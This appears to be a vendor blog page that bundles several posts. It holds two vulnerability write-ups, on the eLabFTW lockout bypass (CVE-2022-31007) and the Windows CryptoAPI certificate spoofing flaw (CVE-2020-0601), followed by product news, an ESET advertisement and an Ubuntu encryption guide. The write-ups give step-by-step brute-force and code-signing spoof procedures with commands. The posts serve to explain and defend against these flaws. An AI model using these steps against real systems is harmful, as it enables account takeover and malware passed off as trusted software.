Skip to content

Bypassing Account lockout on elabFTW – & Brute-force login – CVE 2022-31007

Introduction:

eLabFTW is a free and open source electronic laboratory notebook for researchers.1 Once installed on a server, it allows researchers to track their experiments, but also to manage their assets in the lab (antibodies, mouse, siRNAs, proteins, etc.).

Affected version:

This vulnerability affects users of the eLabFTW before 4.1.0, it allows attackers to bypass a bruteforce protection mechanism by using many different forged PHPSESSID values in HTTP Cookie header.

CVSS v3:

  • CvSS Score 6.5

  • Confidentiality Impact Partial

  • Integrity Impact Partial

  • Access Complexity Low

  • Vulnerability type Gain Access

  • Authentication Required

  • Availability Impact Partial

Mitigation:

  • Create a readFailedLoginByIp function on app/models/Logs.php to execute a query where the user field is REMOTE_ADDR and the body is Failed login attempt.

  • Invoke readFailedLoginByIp function on login.php to validate if the count has reached the failed attempt limit and is banned.

  • Or can be se the method recommended by OWASP with Device Cookies.

This mechanism will not impact users and will effectively thwart any brute-force attempts at guessing passwords. How it works quickly

  • Successful login will create a cookie on the device

  • Trying too many passwords from an untrusted device (no device cookies) will lock the account

  • A locked account can only log in from a trusted device

  • Even a good password guess on a locked account will be unsuccessful

Technical Analysis:

This section will explain how the lockout process works by testing the login page while also reviewing the source code and then making an attack process.

Lockout Process:

Assuming the administrator email is already known as “administrator@elabw.local” with a wrong password submitted in the login form will produce a failed login message. See Appendix A to enumerate valid email accounts.

From the flash messages above, failing 3 times will result in being banned for 1 hour. Let’s find out where in the source code these messages are triggered.

From the grep result above there are two files triggering the error messages: LoginController.php and login.html. Upon further inspection in LoginController.php file at line 74 there is an if-else validation for login failed attempt.

The code above will set failed_attempt key with value 1 in $Session variable if it’s not exist or, increment the value if it does. Because PHP handles and tracks $Session variables using PHPSESSID in a Cookie request header, which is controlled by the user, the bypass is very obvious. Simply using random value in PHPSESSID or, completely removing the Cookie header on each request to login.php will force the application to create a new session and the failed_attempt key will always be set to 1.

When inspecting the login page a hidden input called formkey was found and it’s required along with email and password as a data submitted to LoginController.php.

Attack Process:

This section will assemble what was found when identifying how the lockout process works.

1. Make a GET request to login.php

  • Extract PHPSESSID from the response header

  • Extract formkey from the response body

2. Make a POST request to LoginController.php with PHPSESSID and formkey from step 1 included and, use valid email address and wordlists for password on data field

3. Follow url redirections from step 2 response location header

  • If url redirect location is login.php, automatically remove the Cookie header

  • If url redirect location is not login.php, the attack is succeed.

Exploitation:

The exploit will use Burp Suite’s Intruder3 tool to automate the attack process. First step is to extract PHPSESSID and formkey from the login.php assuming the request was already made from the browser through Burp Suite Proxy. Navigating to Proxy > HTTP History, right-clicking on the GET request /login.php and select Send to Intruder:

Now navigate to Intruder window and choose Positions tab and remove a Cookie header if it exists:

Next, choose the Options tab and scroll down to Grep Extract. Tick Extract the following items from responses and set Maximum capture length to 150:

Click Add button then Refetch response and notice Set-Cookie header is being set. SelectPHPSESSID value and click OK:

Click Add button again and do the same for formkey value:

Select Always option on Redirections:

Navigate toHTTP History tab onProxy window then select POST /app/controllers/LoginController.php and copy the raw request:

Go back to Positions tab on Intruder window and paste copied raw request in the editor and then click Add § button to set a mark on these fields: PHPSESSID,password,formkey and set Attack type to Pitchfork:

Next, clicking the Payloads tab to set 3 payloads. Payload set 1 for PHPSESSID cookie value using “Recursive Grep”

Payload set 2 for password and set Payload type to “Simple list” then click Load to choose a small wordlist file from /usr/share/wordlists/wfuzz/others/common_pass.txt:

Payload set 3 for formkey using “Recursive Grep”:

Using Mitmproxy command-line mitmdump as upstream proxy to automatically remove Cookie header when following a redirect location request to /app/controllers/../../login.php.

Navigate to Project options > Connections > Upstream Proxy Servers, toggle Override user options and click Add button. Specify the Destination host to target domain elabw.local, Proxy host to 127.0.0.1 and Proxy port: 8081 and click OK:

Go back to Intruder window and start the attack by clicking on Start attack button:

See image above the Payload1 values are always changing and these values are taken from PHPSESSID columns for the next request. Forcing the application to create a new session so the failed_attempt key will always be set to 1. The lockout process successfully bypassed.

Notice in the highlighted request, the Length size is bigger than others and in the Response 1 tab, the Location header is pointed at “../../experiments.php” meaning the attack is successful.

Workarounds:

The only correct way to address this is to upgrade to version 4.1.0. Adding rate limitation upstream of the eLabFTW service is of course a valid option, with or without upgrading.

Reference:

  1. https://www.cvedetails.com/cve/CVE-2022-31007/

  1. https://github.com/elabftw/elabftw/security/advisories/GHSA-937c-m7p3-775v

#burp_suite #account_bypass #elabFTW #CVE-2022-31007

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Windows CryptoAPI Spoofing – Certificate Incorrect Validation – CVE-2020-0601

Vulnerability Details:

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many curves. However, system didn’t check all these parameters. The parameter G (the generator) was not checked, and the attacker can therefore supply their own generator, such that when system tries to validate the certificate against a trusted CA, it’ll only look for matching public keys, and then use the generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1

public Key = Private Key * Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not validated by system

MicrosoftECCProductRootCertificateAuthority.cer is by default a trusted root certificate authority (CA) using ECConWindows10. Anything signed with this certificate will therefore automatically be trusted.

CVSS v3:

  • Base Code 5.8

  • Confidentiality Impact Partial

  • Integrity Impact Partial

  • Access Complexity Medium

  • Authentication not required

  • Availability Impact non

Mitigation:

Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability.

Major Impacted Browsers:

  • Windows 10: Version 1607

  • Windows 10 Version 1709

  • Windows 10 Version 1803

  • Windows 10 Version 1809

  • Windows 10 Version 1903

  • Windows 10 Version 1909

  • Windows Server 2016-

  • Windows Server 2016 Version 1803

  • Windows Server 2016 Version 1903

  • Windows Server 2016 Version 1909

  • Windows Server 2019-

Exploitation:

Files location – https://packetstormsecurity.com/files/author/14686

Extract the public key from the trusted CA

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Generate a new x509 certificate based on this key. This will be spoofed CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Generate a new key. It will be used to create a code signing certificate, which we will sign with our own CA

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043.

ope
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key –CAcreateserial
-out cert.crt -days 10000 -extfileopenssl_tls.conf -extensions v3_tls

Pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code 
Signing" -out cert.p12

Sign your executable with PKCS12 file

osslsigncode sign -pkcs12 cert.p12 -n "Signed" -in 7z1900-x64.exe -out 7z1900- x64_signed.exe

In windows VM, navigate to C:\Windows\System32\drivers\etc\hosts

Add IP address of Ubuntu VM and URL - https://www.google.com

Files cert.crt, cert.key, and spoofed_ca.crt are used to serve content. Add the spoofed_ca.crt as a certificate chain in your server’s HTTPS configuration. Configure “index.js” server file.

Server is started in Ubuntu VM

In Windows VM, open browser and navigate to https://www.google.com.

Error - “Your connection isn’t private” is displayed

Check certificate information. It is changed to the details of the spoofed certificate

The CA Root certificate is not trusted because it is not in the Trusted Root Certification Authorities store

Export the certificate

Install the spoofed certificate in Trusted Root Certification Authorities

Spoofed Certificate is in Trusted Root Certification Authorities

Open Browser – Internet Explorer and navigate to https://www.google.com

Spoofed CA is validated by web browser as Trusted Root CA and original https://www.google.comcontent is replaced with the incorrect information as mentioned in “index.js” file.

CVE-2020-0601 – Windows incorrect ECC certificate validation vulnerability is implemented

Reference:

– https://nvd.nist.gov/vuln/detail/CVE-2020-0601

– https://packetstormsecurity.com/files/author/14686/

– github.com-ollypwn-CVE-2020-0601_-_2020-01-17_10-09-11

#CryptoAPI #webbrowser #microsoft #certificate #certificatevalidation #CVE-2020-0601

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Updates on SafeDNS

SafeDNS has updated Security categories that now have DGA, Cryptojacking and others as part of the Security group.

New categories include Malware, Ransomware, Phishing & Typosquatting (sites deceiving internet users, fake pages, scams, fraud), Cryptojacking (sites illegally mining cryptocurrencies) & DGA which is algorithms detected in various malware families, which are used to periodically generate a large number of domain names that can be used as a default with their management and control servers.

We also just carried out work to optimize the processing of statistical data, which made it possible to reduce the speed of collecting statistics, achieving relevance indicators at the level of 5-10 minutes, instead of 30-60 minutes earlier.

Current task is to work towards real-time statistics which should be up by the end of 2022 – early 2023. 

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About SafeDNS
SafeDNS breathes to make the internet safer for people all over the world with solutions ranging from AI & ML-powered web filtering, cybersecurity to threat intelligence. Moreover, we strive to create the next generation of safer and more affordable web filtering products. Endlessly working to improve our users’ online protection, SafeDNS has also launched an innovative system powered by continuous machine learning and user behavior analytics to detect botnets and malicious websites.

How to secure your device in one step

Oftentimes, we talk about the need to be good role models to our children, limiting their technology use and time spent in front of a screen. But what about us? We may want to protect our children, but just try unplugging yourself.

It’s been a few years now since we started talking about the always-on culture and how damaging it can be. But it is not only at work where we are constantly plugged in. Just consider your device use day-to-day. Research from 2018 shows that the average person in the UK spends an entire day a week on their devices. And even worse, the figures seem to be growing. More recent research uncovered that the average person spends up to six hours and 57 minutes looking at a screen each day. Add that up, and you’ve got a whopping two whole days.

Changes in behavior at a societal level are tough to make. And maybe we won’t be turning away from our screens anytime soon, but that makes it all the more important to consider securing these large blocks of time in our lives. We make sure our houses, cars, and other possessions and properties are well protected with locks, CCTVs and guard dogs 24/7. How about those two days online? How are we protecting our online world?

Every device is a window for cybercriminals to enter and wreak havoc. Think about it, we use our devices to conduct business, make bank transactions, research places to eat, check public transport details, call a taxi service, talk to our relatives, shop online and much more. What was previously possible to do outside of our homes we now do from the comfort of our couches.

So how exactly can you best protect all those activities? Well, the first step is to have a trusted digital security solution. ESET has come out with a new and improved version of its consumer offering. This includes all levels: essential security (ESET NOD32 Antivirus), advanced security (ESET Internet Security) and premium security (ESET Smart Security Premium). All of these were improved to ensure a smooth digital experience for all users, with 24/7 protection.

Consumer products from ESET offer the ultimate multilayer antimalware protection, including proactive security against never-before-seen threats. The integral part is ESET´s award-winning technology, which includes Advanced Machine Learning to improve malware detection. ESET is also now enabling Intel® Threat Detection Technology (Intel® TDT) found on Intel® Core™ processors to further boost our ransomware protection. This new layer of security will boost ransomware protection by integrating Intel’s hardware-based ransomware detection technology.

This demonstrates that ESET is always focused on producing solutions that are high performing while keeping the operating system and device load low.

With the ESET HOME web portal and mobile app, ESET is making sure you are always aware of your security environment and are always protected. The ecosystem features all devices added to the account and sends updates about its security status, providing a tool to keep track of all your devices in one place. ESET HOME is also protected by its own 2FA (two-factor authentication) and password authentication.

As mentioned before, being protected is very important when it comes to our finances. ESET’s Banking & Payment Protection is an additional layer of protection for your financial data during online transactions. The integrated “Secure all browsers” mode ensures to open all supported browsers automatically in a secure mode. This provides protection for the browser process against any malicious changes or intervention.

To further protect your financial activities, Anti-Phishing technology is integrated into all levels of ESET security. This protects your privacy and assets against attempts by fake websites to acquire sensitive information, such as your username, password or banking details.

Among the features is Brute-Force Attack Protection, which blocks password-guessing attacks for the Remote Desktop Protocol. A brute-force attack is a method of discovering a targeted password by systematically trying all combinations of letters, numbers and symbols. Other technologies include ESET LiveGrid®, ESET LiveGuard, UEFI Scanner and Ransomware Shield.

All of the integrated features and technologies are here and improved for your privacy protection and security. Having a good and trustworthy digital security solution will give you peace of mind and help to keep your digital world safe and secure 24/7. Just as protecting your home is second nature, protecting your digital world should be too . ESET is here to protect your devices.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About ESET
For 30 years, ESET® has been developing industry-leading IT security software and services for businesses and consumers worldwide. With solutions ranging from endpoint security to encryption and two-factor authentication, ESET’s high-performing, easy-to-use products give individuals and businesses the peace of mind to enjoy the full potential of their technology. ESET unobtrusively protects and monitors 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company. Backed by R&D facilities worldwide, ESET became the first IT security company to earn 100 Virus Bulletin VB100 awards, identifying every single “in-the-wild” malware without interruption since 2003.

How to Enable Full Disk Encryption in Ubuntu 22.04

Jump to Tutorial

Security-minded system administrators prioritize taking all the necessary measures to safeguard confidential and protected data. The compromise of a device can prove costly if it contains sensitive company information, especially when organizations have compliance requirements. Disk encryption is one of the best ways to mitigate this risk.

Encryption is the process of encoding data. Data is converted from plain text to ciphertext using a special mathematical algorithm that renders the data unreadable unless the encryption key is provided. This key should always remain a secret to the person authorized to access the data.

There are two major types of encryption in a computer: Full Disk Encryption (FDE) and File Level Encryption (FLE).

Full Disk Encryption

In full disk encryption, also known as hard drive encryption, the entire hard drive or volume — including all the files — is protected. During booting, a passphrase or secret key is required to unlock the drive before logging in with your user account credentials.

Implementing FDE guarantees data privacy and security for all the files from unauthorized users or anyone with malicious intent. Learn more about the benefits of FDE, and five reasons you should consider requiring it in your organization.

File Level Encryption 

As the name infers, file level encryption happens at the file system level. This type of encryption targets individual files and directories, but not the entire hard disk.

Both full disk encryption and file level encryption can be used simultaneously to achieve a higher level of data protection.

In this tutorial, we will focus on how to enable full disk encryption on Ubuntu 22.04 using LUKS. 

What Is Linux Unified Key Setup (LUKS)?

LUKS is a standard hard drive encryption technology for major Linux systems including Ubuntu. It is a platform-independent disk encryption specification and the de facto disk encryption standard for Linux systems.

LUKS was originally developed for Linux systems and is used in nearly all Linux distributions. It is also a popular encryption format for network-attached storage (NAS) devices. It encrypts entire block devices, making it an ideal choice for encrypting SSD, hard disk drives, and even removable drives.

In addition to offering FDE, LUKS allows users to create and run encrypted containers with the same level of protection as LUKS full disk encryption.

With LUKS, disk encryption can be enabled during the installation of an operating system. In fact, full disk encryption is only achieved during the installation of the Ubuntu Desktop operating system. It encrypts all the partitions including swap space, system partitions, and every bit of data stored on the block volume with the exception of the Master Boot Record (MBR).

How to Fully Encrypt Data on Ubuntu 22.04

If you already have a running instance of Ubuntu 22.04 and you want to enable full disk encryption, you’re required to reinstall it. You cannot fully encrypt it once it is installed. You can only encrypt directories or partitions post-installation.

If you forget your encryption passphrase, all your data will be inaccessible. As such, it is recommended to pick one that you can easily remember or store on a password vault or manager. Better yet, if you have used a complex password, you can note it down somewhere and keep it under lock and key.

Additionally, before starting this process, be sure to backup any critical data that could potentially be lost during the reinstallation process.

Getting Started

We will skip the few installation steps on Ubuntu 22.04 and head straight to the “Installation Type” step that requires you to select your preferred disk partition mode.

Two options will be presented. The first one (the default option) is “Erase disk and install Ubuntu” which wipes out all the existing data and automatically partitions the drive. The second option is “Something else” which is used to manually configure the disk partitions yourself. Please note that you will not be able to enable full disk encryption by selecting the second option.

Select the first option: “Erase disk and install Ubuntu” and click the “Advanced features” button as indicated.

Once you click the “Advanced features” button, a pop-up appears. Be sure to select “Use LVM with new Ubuntu installation” and the “Encrypt the new Ubuntu installation for security” options.

Then click “OK.”

Next, assuming you have already backed up any important data, click “Install Now.”

Disk encryption requires a security key in order to access your files each time your device boots. In this step, provide a strong security key or passphrase.

You can also enable a recovery key which enables a user to access the encrypted disk if they forget their password, or if the disk needs to be installed on a new device.

Then click “Install Now.”

On the pop-up dialogue that appears, click “Continue” to write changes to the disk.

From here, continue with the installation process until the end, and finally, reboot the system. Provide the security key that you generated and hit ENTER prior to logging in.

The secret key unlocks your drive thereby granting you access to your system.

From here, you can log in to your new Ubuntu installation by providing your user account’s password and pressing ENTER.

Conclusion

In this guide, we walked you through the implementation of full disk encryption using LUKS on Ubuntu 22.04. FDE provides a robust way to safeguard your data in case of theft or accidental loss of your device. 

Encryption is just one approach to ensuring the privacy and safety of your data. Therefore, you should not relax enforcing other data protection measures such as firewalls, identity and access management (IAM), and Zero Trust controls such as multi-factor authentication (MFA).

JumpCloud’s open directory platform is available to easily implement full disk encryption throughout your entire fleet. Pre-built policies make it possible to achieve full disk encryption for Windows and macOS devices, with granular control and visibility for BitLocker.

Linux devices can also be managed and monitored for encryption status. To see how this works, along with a number of other device security and management features, sign up today to get started. JumpCloud is free to use for up to 10 users and 10 devices; we also provide 24×7 in-app support for the first 10 days of use.

Would you prefer tailored, white-glove implementation assistance? Schedule a free 30-minute technical consultation to learn about the service offerings available to you and your fleet.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About JumpCloud
At JumpCloud, our mission is to build a world-class cloud directory. Not just the evolution of Active Directory to the cloud, but a reinvention of how modern IT teams get work done. The JumpCloud Directory Platform is a directory for your users, their IT resources, your fleet of devices, and the secure connections between them with full control, security, and visibility.